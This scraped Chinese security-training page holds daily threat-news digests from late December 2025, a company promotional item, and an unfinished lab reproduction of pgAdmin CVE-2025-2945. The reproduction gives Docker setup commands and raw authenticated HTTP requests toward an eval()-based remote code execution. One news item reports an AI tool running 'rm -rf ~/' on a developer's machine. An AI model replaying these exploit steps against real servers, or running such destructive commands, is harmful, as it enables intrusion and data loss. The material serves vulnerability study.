安全研究人员发现,活跃多年的HardBit勒索软件已升级至4.0版本,其攻击手法更具针对性。该团伙主要通过对暴露在互联网上的远程桌面协议和服务器消息块服务进行暴力破解,从而获得网络初始访问权限。一旦入侵成功,攻击者会利用一款名为Neshta作为投放器,来解密并部署HardBit勒索软件本体。该恶意软件会主动禁用Windows Defender的实时监控、防篡改等核心功能以规避检测,并通过注册表实现持久化驻留。与许多实施双重勒索的团伙不同,H 4、攻击者利用虚假法庭应用程序攻击土耳其安卓用户 https://hackread.com/frogblight-malware-android-fake-court-aid-apps/ 安全研究人员发现一款名为Frogblight的新型安卓银行木马正针对性攻击土耳其用户。该恶意软件主要通过短信钓鱼传播,诱饵包括伪造的法庭案件通知或社会援助申请,诱导受害者下载名为“Davalarım”的虚假应用。一旦安装并授予权限,该应用会打开真实的政府门户网站以增加可信度,随后通过注入隐藏的JavaScript代码来记录用户输入的所有内容,从而窃取网上银行凭证。其代码包含土耳其语注释,且能够检测运行环境,若发现设备位于美国或处于分析用的模拟器中则会自动关 5、恶意npm包伪装WhatsApp API窃取数据 https://thehackernews.com/2025/12/fake-whatsapp-api-package-on-npm-steals.html 网络安全研究人员发现,npm软件包仓库中出现一个名为“lotusbail”的恶意库。该包伪装成功能正常的WhatsApp API,自2025年5月上传以来已被下载超过5.6万次。其恶意代码通过包装WebSocket客户端,在开发者使用该库连接WhatsApp时,暗中窃取认证令牌、全部聊天记录、联系人列表等敏感数据,并加密外传。更严重的是,它会利用硬编码的配对码,将攻击者的设备永久性关联到受害者的WhatsApp账户,即使卸载包后访问权限 6、n8n工作流自动化平台曝高危漏洞 https://www.freebuf.com/articles/web/463408.html n8n工作流自动化平台近日披露一个高危安全漏洞,在特定条件下成功利用该漏洞可能导致任意代码执行。该漏洞被追踪为CVE-2025-68613,CVSS评分为9.9分(满分10分)。根据npm统计数据显示,该软件包每周下载量约为57,000次。 7、日产汽车确认因服务器遭未授权访问导致数据泄露 https://www.freebuf.com/articles/database/463303.html 日产汽车公司公开确认,由于负责开发客户管理系统的第三方承包商管理的红帽(Red Hat)服务器遭到未授权访问,导致重大数据泄露事件。该事件导致日产福冈销售公司约21,000名客户的个人信息外泄。 8、黑客滥用"设备代码"绕过安全防护劫持微软365账户 https://securityonline.info/hackers-abuse-device-codes-to-bypass-security-and-seize-microsoft-365-accounts/ 黑客利用微软合法认证功能发起"设备代码钓鱼"攻击,通过诱骗用户在官方门户输入代码窃取账户密钥,绕过传统防护和MFA。该手法被多类黑客组织采用,依赖社会工程制造紧迫感,威胁企业账户安全。 9、新型Cellik安卓远控木马将合法Google Play应用变为监控工具 https://securityonline.info/the-silent-hijacker-new-cellik-android-rat-turns-legitimate-google-play-apps-into-surveillance-tools/ 新型安卓木马Cellik通过寄生Google Play合法应用,提供"交钥匙"式手机劫持服务,每月50美元即可获得高级监控功能,包括实时屏幕控制、远程摄像头访问等,大幅降低网络犯罪门槛。 10、 AI系统的隐秘后门:Dify漏洞致系统配置遭未授权泄露 https://securityonline.info/ais-exposed-side-door-dify-flaw-cve-2025-63387-leaks-system-configs-to-anonymous-users/ 开源平台Dify曝高危漏洞CVE-2025-63387,未认证用户可访问敏感系统配置,CVSS评分7.5。漏洞源于API权限检查缺失,攻击者可获取内部数据。建议运行v1.9.1的组织立即修复。 声明 以上内容原文自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年12月23日
1、伊朗APT组织“Infy”沉寂五年后再度活跃 https://thehackernews.com/2025/12/iranian-infy-apt-resurfaces-with-new.html 安全研究人员发现,与伊朗有关联的、代号为“Infy”的APT组织在沉寂近五年后重新出现。该组织近期针对伊朗、伊拉克、土耳其、印度、加拿大及欧洲的受害者发起攻击,使用了更新版的“Foudre”下载器和“Tonnerre”第二段植入程序。其攻击手法有所演变,并采用了域生成算法来增强其命令与控制基础设施的韧性。最新版本的“Tonnerre”包含通过C2服务器联系特定Telegram群组的机制,用于命令控制和数据收集。 2、新型窃密软件利用TikTok“自骗”教程传播 https://securityonline.info/tiktoks-scam-yourself-trap-how-aurastealer-malware-tricks-users-into-hacking-their-own-pcs/ 安全研究人员发现了一种名为AuraStealer的新型恶意软件即服务。该恶意软件自2025年7月开始活跃,其传播依赖于一种被称为“自骗”的社会工程学陷阱:攻击者在TikTok等平台发布伪装成软件免费激活教程的短视频,诱导观看者亲手在管理员权限的PowerShell中执行恶意命令,从而自行下载并运行窃密木马。AuraStealer功能繁杂,宣称能窃取超过11 3、虚假验证ClickFix成为Qilin勒索软件攻击入口 https://securityonline.info/clickfix-trap-fake-human-verification-leads-to-qilin-ransomware-infection/ 最新研究揭示,一种名为“ClickFix”的社交工程攻击策略已演变为大规模勒索软件入侵的起点。攻击者利用合法但已被入侵的网站,植入恶意脚本,向访客展示伪造的“人工验证”页面。诱使用户点击后,脚本会部署合法的远程管理工具NetSupport Manager作为后门,进而下载信息窃取程序StealC V2。攻击者利用窃取的凭证,通过Fortinet VPN设备侵入受害组织内网,最终部署了臭名昭 4、Nefilim勒索软件附属成员认罪 https://www.infosecurity-magazine.com/news/nefilim-ransomware-affiliate/ 美国司法部宣布,一名乌克兰公民Artem Aleksandrovych Stryzhak对其作为Nefilim勒索软件附属成员参与攻击的指控表示认罪。该被告人于2024年6月在西班牙被捕,后被引渡至美国。其作案模式典型,通过勒索软件即服务平台获取攻击工具,并针对年收入超过2亿美元的美国、加拿大及澳大利亚公司实施攻击,窃取数据后进行加密勒索。法庭文件显示,被告人在犯罪初期曾担忧其使用的用户名可能因“面板被联邦调查局入侵”而暴露。其同案犯目前仍在逃并被 5、美司法部起诉54人利用恶意软件劫持ATM https://thehackernews.com/2025/12/us-doj-charges-54-in-atm-jackpotting.html 美国司法部于12月20日宣布,对54名参与大规模ATM“劫机”诈骗计划的犯罪嫌疑人提出指控。该团伙隶属于已被美国列为外国恐怖组织的委内瑞拉犯罪集团“Tren de Aragua”。指控称,犯罪分子通过物理方式入侵ATM机,安装名为“Ploutus”的恶意软件,从而远程控制机器非法吐出现金,并清除作案痕迹以逃避检测。自2021年以来,美国已记录1529起此类事件,造成约4073万美元损失,这些非法所得被指用于资助该组织的恐怖活动及其他犯罪。此次 6、Linux内核首个Rust漏洞CVE-2025-68260曝光 https://securityonline.info/rusts-first-breach-cve-2025-68260-marks-the-first-rust-vulnerability-in-the-linux-kernel/ Linux内核首个Rust代码漏洞CVE-2025-68260曝光,影响Android Binder驱动,竞态条件可致系统崩溃。漏洞源于链表操作不安全,已在6.18.1及6.19-rc1修复,建议升级内核版本。 7、Log4j新 TLS 漏洞使攻击者可截获加密传输的敏感日志 https://securityonline.info/log4js-security-blind-spot-new-tls-flaw-lets-attackers-intercept-sensitive-logs-despite-encryption/ Apache Log4j修复中危漏洞(CVE-2025-68161),2.0-beta9至2.25.2版本存在TLS主机名验证失效问题,可能导致中间人攻击窃取日志数据。建议升级至2.25.3版本或配置受限信任根证书。 8、DIG AI:犯罪组织与恐怖分子正在利用不受监管的暗网AI助手 https://securityaffairs.com/185842/cyber-crime/dig-ai-uncensored-darknet-ai-assistant-at-the-service-of-criminals-and-terrorists.html 2025年第四季度暗网AI犯罪激增,DIG AI被用于制作非法内容和犯罪指南,尤其AI生成儿童性虐材料带来新挑战。2026年重大赛事临近,犯罪AI威胁加剧,执法难度大,全球需警惕新型高科技犯罪风险。 9、华擎、华硕等主板的UEFI漏洞使黑客可绕过系统安全防护 https://securityonline.info/early-boot-attack-uefi-flaw-in-asrock-asus-msi-boards-lets-hackers-bypass-os-security-via-pcie/ 现代计算机UEFI固件漏洞(CVE-2025-14304等)导致DMA保护失效,攻击者可通过PCIe设备在系统启动前读写内存,华擎、华硕等主板受影响。建议紧急更新固件,高风险环境优先修补。 10、快手遭到灰黑产攻击,色情内容刷屏 https://finance.sina.com.cn/tech/roll/2025-12-23/doc-inhctsyv5643149.shtml 昨晚,快手突发严重网络安全事件——大量露骨色情内容短时间内侵入多个直播间,引发用户大量围观,部分直播间人数飙至5万+,该事件时长超过1小时。今天凌晨,快手官方紧急回应称,当晚22时左右,平台遭到黑灰产攻击,目前已紧急处理修复中,平台坚决抵制违规内容,相应情况已上报给相关部门,并向公安机关报警。 声明 以上内容原文自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年12月22日
1、黑客劫持VNC连接入侵关键基础设施 https://cybersecuritynews.com/hackers-hijacking-vnc-connections/ 多国网络安全机构联合发布紧急警告,称亲俄黑客组织正利用暴露在互联网上且防护薄弱的虚拟网络计算连接,入侵水处理、食品与农业及能源等关键基础设施的操作技术系统。攻击组织包括“Cyber Army of Russia Reborn”、“Z-Pentest”等,其手法并不复杂,主要通过扫描5900等VNC默认端口,对使用默认或简单密码的人机界面发起暴力破解。一旦得手,攻击者会操控图形界面以修改参数、禁用警报,从而引发停机甚至物理过程中断。 2、朝鲜黑客2025年盗取20亿美元加密货币 https://thehackernews.com/2025/12/north-korea-linked-hackers-steal-202.html 安全研究人员发现,与朝鲜相关的威胁行为者在2025年1月至12月初,从全球盗取的超过34亿美元加密货币中至少占20.2亿美元,年增51%。其中仅2月对Bybit交易所的攻击就造成15亿美元损失。这些由国家支持的攻击不仅依赖传统技术漏洞,更日益通过名为“Wagemole”的计划,派遣IT工作者渗透全球公司或利用虚假身份远程入职,以获取对加密货币服务的特权访问。被盗资金通过洗钱服务、跨链桥等渠道进行长达45天的结构化洗钱。 3、工控协议Modbus曝露的端口使太阳能电站面临远程断电风险 https://hackernews.cc/archives/61939 安全研究人员发现,一种利用互联网上暴露的、不安全的工业控制协议(Modbus)对太阳能发电基础设施发起的攻击正在构成威胁。太阳能电站依赖网络化的运营技术设备,其中许多组串监测箱等关键设备仍使用设计上缺乏身份验证、加密等基本安全功能的Modbus协议。当这些设备的502端口暴露于公网时,攻击者仅需使用Nmap等常见扫描工具和mbpoll等免费Modbus客户端工具,即可远程读取设备状态,并通过向特定控制寄存器写入数据,直接发送命令关闭光伏组串,从而在几分钟内导致电力生产中断。更严峻的是,AI驱动的攻击框架能自动化完成大规 4、新窃密软件通过YouTube进行传播 https://research.checkpoint.com/2025/gachiloader-node-js-malware-with-api-tracing/ 安全研究人员发现,一个被称为“YouTube幽灵网络”的恶意软件分发网络正在利用大量被入侵的账户,通过发布游戏外挂和破解软件等诱饵视频,传播一种新型高度混淆的Node.js加载器——GachiLoader。该恶意软件具备多重反分析和反虚拟机检测功能,并尝试禁用Windows Defender。其最终目的是在受害者机器上部署第二阶段的窃密软件,如Rhadamanthys。值得注意的是,部分变种会释放一个名为Kidkadi的二级加载 5、Clop勒索软件利用漏洞攻击CentreStack文件服务器 https://www.bleepingcomputer.com/news/security/clop-ransomware-targets-gladinet-centrestack-servers-for-extortion/ 安全研究人员发现,勒索软件团伙Clop正发起新一轮数据窃取勒索活动,其目标是暴露在互联网上的Gladinet CentreStack文件共享服务器。攻击者正在扫描并利用该系统中一个安全漏洞进行入侵。初步扫描数据显示,全球至少有200多个IP地址运行着可能受影响的CentreStack服务,使其面临高风险。Clop团伙长期以Accellion、MOVEit等文件传输产 6、WatchGuard防火墙V*PN高危漏洞遭在野利用 https://thehackernews.com/2025/12/watchguard-warns-of-active-exploitation.html 安全研究人员发现,其Fireware OS中存在一个已被在野利用的严重漏洞。该漏洞允许远程攻击者在未授权的情况下,通过VPN服务执行任意代码,完全控制受影响的防火墙设备。此次攻击中使用的IP地址与近期针对Fortinet设备的攻击活动存在重叠,引发关联猜测。受影响的版本涵盖Fireware OS 2025.1至12.x等多个系列。WatchGuard已发布修复版本并提供了包括异常日志、进程崩溃在内的入侵检测指标,建议所有用户立即更新系统 7、攻击者利用SVG与Office文档部署窃密木马 https://cybersecuritynews.com/hackers-weaponize-svg-files-and-office-documents/ 安全研究人员发现一场针对意大利、芬兰和沙特阿拉伯等国制造业与政府机构的复杂电子邮件攻击活动。攻击者同时采用武器化的Microsoft Office文档、恶意SVG文件及携带LNK快捷方式的ZIP压缩包作为初始感染媒介。其中,Office文档利用了一个已知的Equation Editor高危漏洞。攻击链包含至少四个阶段,运用了高度混淆的JavaScript、从合法网站获取的藏有恶意代码的图片,以及对开源库进行木马化改造等规避检测的技术。 8、HPE OneView曝CVSS 10.0高危漏洞 https://thehackernews.com/2025/12/hpe-oneview-flaw-rated-cvss-100-allows.html Hewlett Packard Enterprise (HPE) 本周修复了其IT基础设施集中管理软件OneView中的一个严重安全漏洞。该漏洞被标记为CVE-2025-37164,CVSS评分为最高的10.0分,允许未经身份验证的远程攻击者执行任意代码,从而完全控制受影响系统。此漏洞影响11.00之前的所有版本。HPE已发布11.00版本以彻底修复问题,并为5.20至10.20版本提供了热修复补丁。虽然目前尚无该漏洞在野被利用的报告,但 9、攻击者利用采购订单PDF进行钓鱼攻击窃取企业凭证 https://www.malwarebytes.com/blog/threat-intel/2025/12/inside-a-purchase-order-pdf-phishing-campaign 安全研究人员发现了一起以“采购订单”为诱饵的PDF钓鱼活动。攻击者发送附带PDF的邮件,文件内含按钮诱骗收件人点击,将其导向一个仿冒的PDF查看器网站。该钓鱼页面已预填受害者邮箱,进一步诱导输入密码,旨在窃取企业邮箱凭证。攻击基础设施托管于IONOS Cloud等知名云服务以增强隐蔽性,并采用多重混淆的JavaScript脚本将窃取的凭证连同受害者浏览器、操作系统、位置等详细信息,直接发送至攻 10、Cloud Atlas利用Office漏洞渗透东欧中亚组织 https://cybersecuritynews.com/cloud-atlas-hacker-group/ 安全研究人员发现,APT组织“Cloud Atlas”持续活跃,针对东欧及中亚地区组织发起复杂攻击。该组织利用过时的Microsoft Office Equation Editor漏洞,通过鱼叉式钓鱼邮件投递恶意文档,触发多阶段感染链。攻击者使用包含CVE-2018-0802漏洞的RTF文件,最终在受害者系统上部署VBShower、PowerShower、VBCloud及CloudAtlas等一系列后门程序。这些恶意工具功能包含文件窃取、凭据收集、系统探测以及持久化驻留等。 声明 以上内容原文自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
荣耀再续 | 蚁景科技卫冕第138届广交会测试赛团体冠军
第138届广交会网络平台测试赛(第十期《方班演武堂》)圆满收官!中国网络空间安全人才教育论坛(网教盟)主办的这场巅峰对决,汇聚 30 余家高校企业、400 余名网安精英同台竞技。蚁景科技凭借硬核技术实力,以总积分492分绝对优势强势突围,再度荣膺团体总分第一名,实力登顶,闪耀全场! 比赛过程中,蚁景科技精英讲师团队带领学员全力应战,在各竞赛环节均展现出优异的专业素养与实战能力。个人排行榜上,蚁景科技共有 30 名选手榜上有名,其中一叶讲师以个人总积分第一名的成绩脱颖而出,充分彰显了蚁景科技强大的人才储备与完善的人才培养体系。 蚁景科技已连续参与多届广交会网络平台测试赛,此前曾三度斩获亚军,在上一届赛事中首次登顶冠军宝座,积累了丰富的竞赛经验与深厚的技术底蕴。此次成功卫冕,是蚁景科技长期专注网络安全技术研发与人才生态建设的必然成果。从连续斩获亚军的积淀,到问鼎巅峰并成功卫冕,不仅是对蚁景科技团队技术实力与协同作战能力的权威认证,更凸显了公司坚持 “以赛促学、以战代练”,赋能学员实战技能,推动行业创新发展的坚定方向。 关于蚁景科技 湖南蚁景科技有限公司,作为专业的“网络安全人才培养服务提供商”,致力于配合国家网络安全人才培养战略,精准对接行业人才市场的需求。公司秉承提升网络安全实战能力为核心的培养目标,紧密结合用人单位在网络安全岗位上的技能要求,提供前沿、系统且专业的网络安全实战技能培训。同时也针对政企单位、科研院所等行业客户,量身定制网络安全培训方案,以满足其特定的培训需求。 此外,蚁景科技紧密结合高校网络安全人才培养体系,基于对“互联网+教育”的精准把握,依托自主研发的网络安全人才实训平台——蚁景网安实验室,高效构建多样化的网络安全实验场景,全面满足高校教师的在线实验教学需求,同时也为网络安全爱好者提供了优质的在线实操学习环境。 关于《方班演武堂》 “方班演武堂”又名“分析与演练”,是广州大学方滨兴院士实验班开设的研究生教育创新课程,属于该实验班“研讨厅、演武堂、前沿秀”三门创新课之一。课程在方班研讨厅成熟模式基础上,融合产教融合、校企合作理念,由方滨兴院士指导设计,采用“企业+高校,演示+点评”双加教学模式 。 课程贯穿课前调研、课上演示讨论及课后复盘分析三环节,专职教师辅导学生筛选网络安全实战场景与科研课题,绿盟等五家企业冠名教学班并派驻专家参与课堂互动点评。教学活动融入冬奥会、广交会等40余次大型活动网络安全保障任务实战案例,侧重实战实践能力培养。课程采用过程性评价体系,包含课堂演讲(80%分值)与总结报告(20%分值),教学周期为硕士一年级秋冬学期,共设置64课时 。
网络安全日报 2025年12月19日
1、Kimsuky组织利用伪造的物流APP传播安卓木马 https://thehackernews.com/2025/12/kimsuky-spreads-docswap-android-malware.html 安全研究人员发现,黑客组织Kimsuky正通过伪装成韩国CJ物流公司配送应用的二维码钓鱼网站,传播新型安卓恶意软件“DocSwap”。攻击者通过钓鱼短信或邮件诱导用户访问恶意链接,当桌面用户访问时,页面会显示二维码,提示用户用安卓手机扫描以安装所谓的“货物追踪应用”。实际下载的APP会解密并加载内嵌的加密APK,在后台启动远程访问木马服务。该恶意软件功能强大,能接收多达57种指令,实现键盘记录、录音录像、文件窃取、信息收集等。此外,攻击 2、华硕Live Update高危漏洞遭利用 https://thehackernews.com/2025/12/cisa-flags-critical-asus-live-update.html 美国网络安全和基础设施安全局(CISA)于12月18日将一个影响华硕Live Update工具的高危漏洞(CVE-2025-59374)添加至其已知被利用漏洞目录,并指出该漏洞正被积极利用。该漏洞实为2019年3月披露的“暗影之锤”供应链攻击事件,当时有高级威胁组织入侵华硕服务器,在Live Update客户端中植入恶意代码,通过硬编码的MAC地址列表精准攻击特定用户。虽然华硕早在当时就发布了修复版本,但由于该软件已于2025年12月4日停止 3、月下载量超1600万的systeminformation存在高危漏洞 https://www.freebuf.com/articles/system/462566.html 安全研究人员在广受欢迎的 Node.js 库 systeminformation 中发现一个高危漏洞,该库被数百万开发者用于获取系统指标。该漏洞编号为(CVE-2025-68154),会导致基于 Windows 的应用程序面临操作系统命令注入风险,攻击者可能借此执行任意代码并控制受影响服务器。这个库每月下载量"超过 1600 万次",因此漏洞影响范围极大,波及依赖该库获取硬件和操作系统数据的监控仪表板、CLI 工具和 Web 应用程序。 4、微软桌面窗口管理器越界漏洞可导致攻击者权限提升 https://www.freebuf.com/articles/system/462532.html 微软已确认桌面窗口管理器(DWM)中存在一个严重的越界漏洞,该漏洞允许本地攻击者在受影响的Windows系统上将权限提升至SYSTEM级别。该漏洞编号为CVE-2025-55681,存在于dwmcore.dll组件中,影响全球范围内的Windows 10、Windows 11及相关服务器版本。 5、亚马逊披露俄罗斯GRU长达数年的网络攻击行动 https://thehackernews.com/2025/12/amazon-exposes-years-long-gru-cyber.html 俄罗斯黑客组织APT44在2021-2025年针对西方能源和云基础设施发起长期攻击,转向利用配置错误设备而非漏洞,通过凭证收集横向移动,目标包括北美和欧洲关键设施。亚马逊已中断相关攻击并建议加强边缘设备审核和认证监控。 6、APT-C-35利用Apache HTTP响应特征维持基础设施活动 https://cybersecuritynews.com/apt-c-35-infrastructure-activity-leveraged/ 印度APT组织APT-C-35持续活跃,针对南亚关键目标。研究发现其服务器具有独特HTTP响应特征,如特定过期日期和缓存控制头部,可用于追踪检测。该发现提升了对国家支持型威胁的防御能力。 7、“幻影窃取者” 恶意软件借 ISO 钓鱼攻击瞄准金融领域 https://www.anquanke.com/post/id/313818 一场精密的新型钓鱼攻击行动正瞄准某国金融基础设施核心领域,攻击者将一款功能强大的信息窃取恶意软件伪装成常规的银行转账确认文件。赛科瑞特实验室(Seqrite Labs)的研究人员将该攻击行动命名为 “金钱山 – ISO 行动”,其攻击目标明确锁定金融、会计及财务部门,借助高质量的社会工程学手段突破企业边界安全防护。 8、ScreenConnect高危漏洞存在配置泄露与恶意扩展安装风险 https://www.anquanke.com/post/id/313807 康耐视(ConnectWise)针对其广受欢迎的远程支持软件 ScreenConnect 发布了重要安全更新,修复了一个可能导致敏感配置数据泄露的高危漏洞。该漏洞编号为 CVE-2025-14265,通用漏洞评分系统(CVSS)分值高达 9.1,这意味着未打补丁的本地部署服务器将面临重大安全风险。 9、HPE修复 IT 基础设施管理软件中的关键漏洞 https://www.securityweek.com/hpe-patches-critical-flaw-in-it-infrastructure-management-software/ 惠普企业(HPE)本周宣布了针对其 OneView IT 基础设施管理软件中一个严重程度为关键的远程代码执行漏洞的补丁。该安全缺陷被追踪为 CVE-2025-37164(CVSS 得分为 10),公司在一个简明的公告中指出,该漏洞无需认证即可被利用。 10、主流主板中的UEFI漏洞可启用早期启动攻击 https://www.securityweek.com/uefi-vulnerability-in-major-motherboards-enables-early-boot-attacks/ ASRock、Asus、Gigabyte 和 MSI 主板存在早期启动 DMA 攻击漏洞。根据卡内基梅隆大学 CERT/CC 周三发布的一份公告,攻击者可以利用该漏洞访问内存中的数据或影响系统的初始状态。 声明 以上内容原文自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年12月18日
1、南美威胁组织BlindEagle针对哥伦比亚政府部署恶意软件 https://www.zscaler.com/blogs/security-research/blindeagle-targets-colombian-government-agency-caminho-and-dcrat 安全研究人员发现,南美威胁组织BlindEagle针对哥伦比亚商业、工业和旅游部下属机构发起了一场复杂的鱼叉式钓鱼攻击。攻击者疑似利用从目标机构内部盗取的邮箱账户发送伪装成司法文书的钓鱼邮件,通过嵌入恶意SVG图像将受害者诱导至伪造的司法门户网站,进而触发一个多层无文件攻击链。该链条利用嵌套的JavaScript与PowerShell脚本,从Discord等合法服务下载 2、恶意NuGet包窃取加密货币钱包 https://thehackernews.com/2025/12/rogue-nuget-package-poses-as-tracerfody.html 安全研究人员发现一个伪装成流行.NET追踪库的恶意NuGet软件包“Tracer.Fody.NLog”。该包通过仿冒合法维护者用户名、在源代码中使用西里尔相似字符等手段,在官方仓库中隐匿了近六年,已被下载至少2000次。一旦被项目引用,其内嵌的恶意程序会扫描系统默认的Stratis加密货币钱包目录,读取钱包文件及内存密码,并将数据外泄至位攻击者服务器。 3、17款Firefox扩展藏匿GhostPoster恶意软件 https://thehackernews.com/2025/12/ghostposter-malware-found-in-17-firefox.html 安全研究人员发现一场名为“GhostPoster”的恶意活动,利用至少17款Mozilla Firefox浏览器扩展程序传播恶意软件,这些扩展累计下载量超过5万次。恶意代码被隐藏于扩展的图标文件中,通过多层规避检测技术(如下载前等待48小时、仅10%概率触发、安装后延迟6天激活)静默运行。感染后,恶意软件能实施联盟链接劫持、向网页注入跟踪代码、移除安全头部、注入隐藏iframe进行广告欺诈以及绕过CAPTCHA验证等多种恶意行为,严重威 4、Chrome修复可导致远程代码执行的高危漏洞 https://cybersecuritynews.com/chrome-security-update-dec/ Google于12月17日发布了Chrome浏览器143.0.7499.146/.147版本,紧急修复了两个可导致远程代码执行的高危漏洞。其中,CVE-2025-14765是WebGPU组件中的“释放后使用”漏洞;CVE-2025-14766是V8 JavaScript引擎中的“越界读写”漏洞。攻击者利用这些漏洞可操纵内存,在受影响系统上执行任意代码,潜在风险极高。更新正分批向Windows和Mac用户推送,Linux用户也可手动检查安装。Google建议所有用户立即更新浏览器 5、Windows Admin Center漏洞可导致攻击者提权 https://www.freebuf.com/articles/system/462288.html 微软Windows Admin Center(WAC)曝出新的本地提权漏洞,影响2.4.2.1及更早版本,包括运行WAC 2411及之前版本的环境。该漏洞编号为CVE-2025-64669,源于_C:\ProgramData\WindowsAdminCenter_目录权限设置不当——标准用户可写入该目录,而该目录却被高权限服务使用。由于Windows Admin Center广泛用作Windows Server、集群、超融合基础设施及Windows 10/11终端的管理网关,该漏洞具有广泛 6、大语言模型正加速勒索软件运营 https://www.freebuf.com/articles/462341.html 大语言模型(LLMs)与勒索软件运营的整合标志着网络犯罪格局的关键转变,这种技术更多是作为强大的运营加速器而非根本性变革。该技术显著降低了犯罪门槛,使低技术水平的攻击者也能构建功能性工具和复杂的勒索软件即服务(RaaS)基础设施。 7、攻击者利用React2Shell漏洞部署Linux后门程序 https://thehackernews.com/2025/12/react2shell-vulnerability-actively.html 黑客利用高危漏洞React2Shell传播KSwapDoor和ZnDoor恶意软件,具备隐蔽通信和休眠功能,主要攻击日本机构。多组织利用CVE-2025-55182漏洞投放多种后门,窃取云凭证并横向移动。Next.js漏洞被用于大规模数据窃取,超11万IP受影响,美国最严重。 8、FortiGate设备SSO高危漏洞遭野外利用 https://cybersecuritynews.com/fortigate-devices-sso-vulnerabilities/ Fortinet设备存在关键SSO漏洞(CVE-2025-59718/59719),攻击者可绕过认证获取管理员权限。影响FortiOS、FortiProxy等产品,默认配置易受攻击。建议立即升级至修复版本或禁用FortiCloud SSO功能,限制管理接口访问。 9、数据灾难:Claude AI执行rm -rf ~/命令清空开发者Mac主目录 https://securityonline.info/data-disaster-claude-ai-executes-rm-rf-and-wipes-developers-mac-home-directory/ AI辅助工具因权限管控缺失频发灾难性故障,如误删用户主目录数据。开发者建议采用容器化隔离方案,限制AI工具访问权限,防止系统级破坏。 10、Windows 10更新KB5071546因权限不足导致MSMQ服务故障 https://securityonline.info/enterprise-alert-windows-10-update-kb5071546-breaks-msmq-service-with-insufficient-permissions/ 微软证实Windows 10更新KB5071546导致MSMQ服务故障,因权限变更影响企业应用异步处理。故障表现为资源不足错误,需卸载更新等待修复。个人用户通常不受影响。 声明 以上内容原文自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
pgAdmin 后台命令执行漏洞复现及分析(CVE-2025-2945)
环境搭建 可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin4 docker network create pg-network # 创建容器网络 docker run -d --name postgres --network pg-network -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=postgres123 -e POSTGRES_DB=testdb -p 5432:5432 postgres:15 docker run -d --name pgadmin --network pg-network  -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80   docker.io/dpage/pgadmin4:9.1.0 docker network inspect pg-network  # 查看哪些容器在使用这个网络 docker network rm pg-network       # 删除指定网络 漏洞复现 /sqleditor/query_tool/download/ 前提:登录 pgAdmin 获取有效 session 和 CSRF Token 调用接口 /misc/workspace/adhoc_connect_server 功能:临时连接到 PostgreSQL 数据库服务器 返回:sid(服务器 ID)和 did(数据库 ID) 调用接口 /misc/workspace/adhoc_connect_server 功能:初始化一个 SQL 编辑器会话,创建事务 参数: trans_id:事务 ID,随机数(后续请求需使用同一个值) sgid:服务器组 ID,通常是 1 sid:服务器 ID(步骤 1 获取) did:数据库 ID(步骤 1 获取) 调用接口 /sqleditor/query_tool/download/{trans_id} 功能:导出 SQL 查询结果为 CSV 文件下载 漏洞:query_commited 参数被 eval() 执行,导致 RCE 步骤 1:连接数据库服务器 POST /misc/workspace/adhoc_connect_server HTTP/1.1 Host: 127.0.0.1:5050 Content-Length: 348 X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/json Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close {"sid":null,"did":"testdb","user":"postgres","server_name":"postgres","host":"postgres","port":"5432","username":"test","role":null,"password":"postgres123","connection_params":[{"name":"sslmode","value":"prefer","keyword":"sslmode","cid":"c19"},{"name":"connect_timeout","value":10,"keyword":"connec 返回: sid (服务器 ID)和 did (数据库 ID) 步骤 2:初始化 SQL 编辑器 POST /sqleditor/initialize/sqleditor/1234567/1/1/16384 HTTP/1.1 Host: 127.0.0.1:5050 X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close 